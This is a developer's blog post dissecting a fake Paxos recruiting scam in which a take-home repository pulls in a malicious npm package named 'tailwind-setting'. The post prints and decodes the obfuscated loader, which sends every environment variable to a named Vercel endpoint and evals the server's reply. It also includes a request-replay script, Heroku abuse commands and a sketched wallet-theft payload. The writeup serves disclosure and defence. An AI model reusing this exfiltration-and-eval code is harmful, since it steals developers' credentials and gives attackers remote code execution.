The Message That Should Have Been Obvious

The LinkedIn message came from someone claiming to be a Paxos recruiter. For context, Paxos is a legitimate, well-funded blockchain infrastructure company. The kind of place where a recruitment message wouldn’t be weird.

But I was curious. How much effort do these scammers actually put in?

So I engaged. A few messages back and forth. They mentioned a “first round” that would be the usual call to discuss the role. I made it clear I wasn’t particularly interested in phone screening right now - too busy, maybe another time.

A few days later, they sensed my hesitation and pivoted:

“Hi Aleksandar! We’ve reviewed your background and feel we’ve evaluated you enough to pass you directly to the second round. Here’s a technical assessment: [GitHub link]”

Convenient. Exactly what a busy developer wants to hear, right? Skip the boring parts, jump straight to the code.

Except for a few things that didn’t add up:

  1. They were messaging from a personal LinkedIn account, not recruiting through the company page
  2. “Evaluated you enough” based on what? A LinkedIn profile and twenty+ messages?
  3. The GitHub link came awfully quick once they realized I wouldn’t hop on a call

So I replied: “Can you send this from your @paxos.com email?”

They blocked me immediately.

And I thought that was the end of it. Obvious scam, dodged a bullet, moved on.

The Phone Call That Changed My Mind

A few days later, I got a call from a friend. He’s a good developer - not a junior, also not careless. He’d gotten the same message from what looked like a different recruiter. He’d cloned the repo. Run npm install. Started the dev server to see what he was supposed to be building/reviewing.

The next morning, he woke up to alerts from Heroku. His account had spun up a dozen dynos overnight. Resources he didn’t authorize. Deployments he didn’t make. Someone had taken over his account.

“How?” he asked. “I have 2FA enabled…”

That’s when I decided to actually look at what was in that repository. Not just dismiss it as a scam, but understand the mechanism. How do you compromise a Heroku account by running npm install?

Turns out, it’s simpler and more devastating than you’d think.

Phase 1: The Bait Looks Good

The repository was called Dex-platform. It looked like a decent DeFi decentralized exchange take-home-task:

  • Clean React + TypeScript codebase
  • Vite build system
  • TailwindCSS styling
  • Modern component structure
  • Proper .gitignore, README.md, all the trimmings

I spent 20 minutes reviewing the React components. Everything looked normal. Header.tsx had a “Connect Wallet” button, but it was just UI - not actually hooked up to web3. DeFi.tsx had mock trading interfaces. NFTMarketplace.tsx had fake NFT listings.

This was a decoy. A really good decoy. If I’d been asked to build this as a technical assessment, I’d have thought “yeah, reasonable 2-hour coding challenge.”

But somewhere in here was malware sophisticated enough to steal credentials without the victim noticing.

Phase 2: Finding the Anomaly

I started with package.json. Standard dependencies:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "dependencies": {
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "react-router-dom": "^6.22.3"
  },
  "devDependencies": {
    "@vitejs/plugin-react": "^4.2.1",
    "tailwindcss": "^3.4.1",
    "vite": "^5.1.0"
  }
}

Nothing suspicious here. But then I opened tailwind.config.ts:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/** @type {import('tailwindcss').Config} */
export default {
  content: [
    "./index.html",
    "./src/**/*.{js,ts,jsx,tsx}",
  ],
  theme: {
    extend: {
      // ... normal Tailwind config ...
    },
  },
  plugins: [require('tailwind-setting')],  // ← Line 133
}

tailwind-setting. Never heard of it. And, even though I’m not proud of it, I’ve built a few of Tailwind projects.

Tailwind’s official plugins are @tailwindcss/forms, @tailwindcss/typography, etc. They’re namespaced. This wasn’t.

Red flag.

tailwind-setting npm pkg

Just to note each one has a life-time of about ~13-14 days, then they spinup a new campaign.

Phase 3: The Dependency Rabbit Hole

Let me check package-lock.json to see what this actually installs. Line 8620:

1
2
3
4
5
6
7
8
9
"node_modules/tailwind-setting": {
  "version": "3.7.4",
  "dependencies": {
    "axios": "^0.21.4",
    "firebase": "^8.3.1",
    "request": "^2.88.2",
    "fs": "^0.0.1-security"
  }
}

Okay, now this is really weird.

Why does a Tailwind CSS plugin need:

  • axios - HTTP requests
  • firebase - A database?!
  • request - Another HTTP library (deprecated, by the way)
  • fs - File system access

A legitimate CSS configuration plugin should need exactly zero of these. It should just export some Tailwind config objects.

Time to download the package and see what’s actually in there.

Phase 4: Safe Extraction ( ⚠️ Don’t Run Anything)

I’m not running npm install on my actual machine. Instead, I’ll use a temporary Docker container with no network access and limited filesystem permissions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Create a working directory for this analysis
mkdir -p ~/malware-analysis && cd ~/malware-analysis

# Download the tarball directly
curl -o package.tgz https://registry.npmjs.org/tailwind-setting/-/tailwind-setting-3.7.4.tgz

# Spin up an isolated container
docker run --rm -it \
  --network none \
  --read-only \
  --tmpfs /tmp \
  -v $(pwd):/analysis \
  -w /analysis \
  node:18-alpine sh

# Inside the container, extract to tmp
cd /tmp
tar -xzf /analysis/package.tgz
cd package
ls -la

The --network none ensures it can’t phone home even if something executes. The file structure:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package/
├── index.js
├── lib/
│   ├── writer.js
│   ├── get-namespace-prefix.js
│   ├── level-prefixes.js
│   ├── resolve-format-parts.js
│   └── private/
│       ├── colors-support-level.js
│       ├── inspect-depth.js
│       └── prepare-writer.js

Most of these files look legitimate. get-namespace-prefix.js is normal logging code. level-prefixes.js defines log levels. This looks like someone took a real logging library and inserted malware into it.

Let me trace the execution:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// tailwind.config.ts calls require('tailwind-setting')
//   ↓
// index.js (line 3)
module.exports = require("./lib/writer");
//   ↓
// lib/writer.js (line 12)
const prepareWriter = require('./private/prepare-writer');
//   ↓
// lib/writer.js (line 20, inside NodeLogWriter constructor)
prepareWriter();  // This executes immediately when writer.js loads

So when Tailwind loads the config file (which happens during npm run dev or npm run build), it requires this package, which requires writer.js, which calls prepareWriter() on initialization.

Everything leads to lib/private/prepare-writer.js. Let’s see what’s in there.

Phase 5: Deobfuscating the Payload

Here’s the full contents of prepare-writer.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
"use strict";
function g(h) { 
    return h.replace(/../g, match => 
        String.fromCharCode(parseInt(match, 16))
    ); 
}

let hl = [
    g('72657175697265'),
    g('6178696f73'), 
    g('706f7374'),  
    g('68747470733a2f2f69702d61702d636865636b2e76657263656c2e6170702f6170692f69702d636865636b2f323038'),
    g('68656164657273'), 
    g('782d7365637265742d686561646572'),
    g('736563726574'),   
    g('7468656e'),      
];

const writer = () => 
    require(hl[1])[[hl[2]]](hl[3], { ...process.env }, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data));

module.exports = writer;

This is textbook obfuscation, and not even good if I’m being honest. The g() function takes hex strings and converts them to ASCII. Every two hex characters become one letter.

Let me decode these one by one. Manually, believe it or not:

1
2
echo "72657175697265" | xxd -r -p
# Output: require
1
2
3
4
5
6
7
8
9
g('72657175697265') = 'require'
g('6178696f73')     = 'axios'
g('706f7374')       = 'post'
g('68747470733a2f2f69702d61702d636865636b2e76657263656c2e6170702f6170692f69702d636865636b2f323038') 
    = 'https://ip-ap-check.vercel.app/api/ip-check/208'
g('68656164657273') = 'headers'
g('782d7365637265742d686561646572') = 'x-secret-header'
g('736563726574')   = 'secret'
g('7468656e')       = 'then'

Now let’s reconstruct what this actually does:

1
2
3
4
5
6
7
8
const writer = () => 
    require('axios')
        .post(
            'https://ip-ap-check.vercel.app/api/ip-check/208',
            { ...process.env },              // ← ALL YOUR ENV VARIABLES
            { headers: { 'x-secret-header': 'secret' } }
        )
        .then(response => eval(response.data));  // ← REMOTE CODE EXECUTION

Holy shit.

Let me break down what just happened:

{ ...process.env } - This sends every single environment variable on your machine to the attacker. On a usual non-security-conciesus dev machine this has:

  • AWS_ACCESS_* and AWS_SECRET_*
  • GITHUB_TOKEN
  • OPENAI_API_KEY
  • DATABASE_URL with credentials
  • STRIPE_SECRET_KEY
  • Your HOME directory path
  • Private keys if you store them in env vars; etc. you get the point

eval(response.data) - After stealing your credentials, the server can send back arbitrary JavaScript that gets executed on your machine with your permissions.

  • Want to install a persistent backdoor? eval() it.
  • Want to steal SSH keys from ~/.ssh/? eval() it.
  • Want to clone private GitHub repos? eval() it.
  • Want to drain crypto wallets? eval() it.

This isn’t just credential theft. This is full remote code execution on developer machines.

Phase 6: Poking the Command & Control Server

The C2 server is hosted on Vercel at ip-ap-check.vercel.app. Clever choice by the attacker:

  1. Looks legitimate - Vercel is a trusted platform
  2. Free tier - No credit card trail
  3. HTTPS by default - Traffic looks normal
  4. Global CDN - Fast from anywhere
  5. Serverless - No server to trace

I decided to poke at it. Carefully. From a disposable container and via VPN.

Test 1: Browser visit

1
curl -v https://ip-ap-check.vercel.app/api/ip-check/208

Response:

1
2
3
4
5
6
7
{
  "ipInfo": {
    "status": "success",
    "country": "Italy",
    "query": "146.70.182.46"
  }
}

Interesting. It just returns IP geolocation data. Looks totally benign. If someone manually inspects this endpoint, they see an innocent IP lookup service.

Test 2: Simulate the actual malware request

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
const axios = require('axios');

axios.post(
    'https://ip-ap-check.vercel.app/api/ip-check/208',
    { 
        AWS_ACCESS_KEY_ID: "fake",
        DATABASE_URL: "fake",
        GITHUB_TOKEN: "fake"
    },
    { headers: { 
        'User-Agent': 'axios/0.21.4',
        'x-secret-header': 'secret' 
    }}
).then(r => console.log(r.data));

Response? Same IP geolocation JSON.

I tried seven different variations. Different User-Agents. Different endpoints (/200, /208, /401). Different headers. Always the same innocent-looking response.

What’s going on here?

The C2 server is smart. It’s doing one or more of these:

  1. Fingerprinting victims - Only sending payloads to specific targets
  2. Dormant mode - Attack campaign paused, infrastructure left running
  3. Conditional payloads - Checking env vars for high-value targets before responding
  4. Evasion - Detected my testing and shut down

This is sophisticated operational security. When security researchers poke at it, they see a harmless IP lookup. When real victims hit it with their actual credentials, who knows what comes back in that eval().

The Missing Piece: How the Account Takeover Happened

Remember, my friend’s Heroku account was compromised. But here’s the thing: the malware didn’t need sophisticated code in the repository to do that.

The answer is in those exfiltrated environment variables. My friend, like many developers, had his Heroku CLI logged in. That means ~/.netrc or environment variables containing HEROKU_API_KEY.

Here’s my reconstruction of what happened:

  1. He ran npm install -> malware installed
  2. He ran npm run dev -> env vars exfiltrated, including:
    1
    2
    
    HEROKU_API_KEY=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    # Or tokens from ~/.netrc were accessible
    
  3. The attacker now had his Heroku credentials
  4. They used the Heroku API to:
    1
    2
    3
    4
    5
    6
    7
    
    # Spin up expensive dynos
    heroku ps:scale web=10 worker=10 --app victim-app
    
    # Deploy their own apps under his account
    # Use his payment method for crypto mining
    # Access environment variables from all his apps
    # BTW scope was much wider than what I mention here...
    

The beautiful (terrifying) part is that no additional code execution was needed after the initial exfiltration. The stolen credentials were enough. Once they have your process.env, they have everything.

But it gets worse. That eval(response.data) capability means the attacker can deliver any payload on-demand. While my friend lost control of his Heroku account, the same mechanism could be used to:

1
2
3
4
5
6
7
8
9
// Hypothetical wallet draining payload (not what my friend experienced)
const { exec } = require('child_process');

// Steal MetaMask seed phrase from browser storage
exec(`find ~/Library/Application\\ Support/Google/Chrome -name "Local Storage" ...`);
// or ~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Extensions/

// Or inject a script to prompt for seed phrase  
// Or silently approve transactions in the background

BTW I found zero wallet integration. The “Connect Wallet” button in Header.tsx is just UI. It doesn’t actually do anything in its dormant state.

The attack can be tailored per victim. Check their env vars, deliver the appropriate payload. Developer with crypto? Drain wallets. Developer with AWS keys? Spin up mining instances. The malicious code never exists in the repository-it’s delivered only when needed, making static analysis useless.

What Gets Stolen: An Inventory

Let me be explicit about what’s at risk when you run this. Every environment variable on your machine, which commonly includes:

Cloud Provider Credentials:

  • AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
  • GOOGLE_APPLICATION_CREDENTIALS
  • AZURE_CLIENT_SECRET

With these, attackers can spin up EC2 instances for crypto mining, access your S3 buckets, read your databases, or just rack up thousands in cloud bills.

API Keys:

  • OPENAI_API_KEY (sell on black market or use for their own purposes)
  • STRIPE_SECRET_KEY (create refunds, access customer data)
  • SENDGRID_API_KEY (send spam from your domain)

Version Control:

  • GITHUB_TOKEN / GITLAB_TOKEN

This is the big one for corporate espionage. Access to private repositories means proprietary code, customer data in commits, other secrets in the codebase.

Database URLs:

  • DATABASE_URL (full connection strings with passwords)
  • MONGODB_URI
  • REDIS_URL

Direct access to your production data. Customer PII. Payment information. Everything.

Platform Tokens:

  • HEROKU_API_KEY
  • NETLIFY_AUTH_TOKEN
  • VERCEL_TOKEN

Direct control over your deployments and infrastructure.

Crypto (if you’re unlucky enough to store these as env vars):

  • PRIVATE_KEY
  • MNEMONIC
  • WALLET_SECRET

Instant, irreversible theft.

System Information:

  • USER, HOME, PATH, PWD

Enough to map your system and plan persistent access.

The financial impact? For a startup developer, this could mean:

  • Thousands in fraudulent cloud charges (AWS, GCP, Azure, Hetzner…)
  • Leaked customer data (GDPR fines, lawsuits)
  • Stolen proprietary code
  • Drained crypto wallets
  • Compromised production systems
  • Unauthorized deployments running crypto miners

For my friend, it was unauthorized Heroku dynos running for hours before he noticed. For someone with production AWS credentials? It could be catastrophic.

The Social Engineering: Why This Works

Let’s talk about why this attack is so effective. It’s not just the technical sophistication; it’s the psychological manipulation.

Authority - “Paxos” is a real, respected company in crypto. The fake recruiter borrowed that credibility.

Urgency - “2nd round technical assessment” implies you’ve already been selected. Better hurry before they move on!

Legitimacy - The GitHub repo looks professional. The code is clean. This passes a quick smell test.

Routine behavior - git clone -> npm install -> npm run dev is muscle memory for developers. We do it dozens of times a week.

Trust in npm - I have no fucking clue why people still blindly trust npm

The attack exploits the fact that developers are taught to move fast. “Just clone and run!” is standard practice for technical assessments, code samples, and collaboration.

The most dangerous attacks don’t break your security. They work within your existing workflows.

What I usually do now before npm install on any untrusted repo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 1. Check package-lock.json for suspicious dependencies
grep -i "axios\|firebase\|request" package-lock.json

# 2. Look for unknown packages
cat package.json | grep -v "@tailwindcss\|react\|vite"

# 3. Check npm download stats
npm info <suspicious-package> 

# 4. Search for obfuscation patterns
grep -r "String.fromCharCode.*parseInt.*16" .

# 5. Search for eval()
grep -r "eval(" .

If I see hex encoding, eval(), or dependencies that don’t make sense, I stop immediately.

Better yet, I use Docker or a VM for any code review from unknown sources:

1
2
docker run -it --rm -v $(pwd):/app node:18 bash
cd /app && npm install

At least then the blast radius is contained.

The Bigger Picture: Supply Chain Attacks Are Getting Sophisticated

This isn’t an isolated incident. Supply chain attacks via npm are increasing:

  • event-stream (2018) - 2 million downloads/week, injected bitcoin wallet stealer
  • ua-parser-js (2021) - 7 million downloads/week, cryptominer + password stealer
  • node-ipc (2022) - Maintainer added malware targeting Russian/Belarusian users
  • @ctrl/tinycolor “Shai-Hulud” (2024) - 187 packages compromised including CrowdStrike’s npm namespace, self-propagating attack using TruffleHog to steal credentials
  • chalk, debug, ansi-styles (September 2025) - Billions of weekly downloads affected via phishing attack on maintainers, malicious code intercepted cryptocurrency transactions for 2 hours before detection

Document & Share

I didn’t write this to shame my friend for falling for it. I could have easily been the victim if I’d been in job-hunting mode and less paranoid that particular morning.

I wrote this because the attack was sophisticated enough that it deserves documentation. And because the next developer who gets this message will Google “tailwind-setting malware” or “Paxos recruitment scam” and hopefully find this.

Even though technically this wasn’t a really advanced attack, still I saw a few similar npm packages each having ~200-800 downloads.

For security researchers and the curious: I’ve preserved the complete malicious repository (with extensive warnings) on GitHub at kaynetik/WARNING_SCAM_dex-platform . You can examine the code, the malicious tailwind-setting package, and the attack chain without risking your own machine. DO NOT execute anything from that repo-it’s for educational analysis only.

The hard truth: In 2025, npm install is as dangerous as downloading an .exe from a stranger. We just don’t treat it that way.

Maybe we should.


If you found this useful, please share it. The more developers who know about this pattern, the less effective it becomes.

Also, if you experienced something similar, but your account was drained, feel free to submit the flow you experienced for a deep-dive, so we expose more attack vectors as early as possible.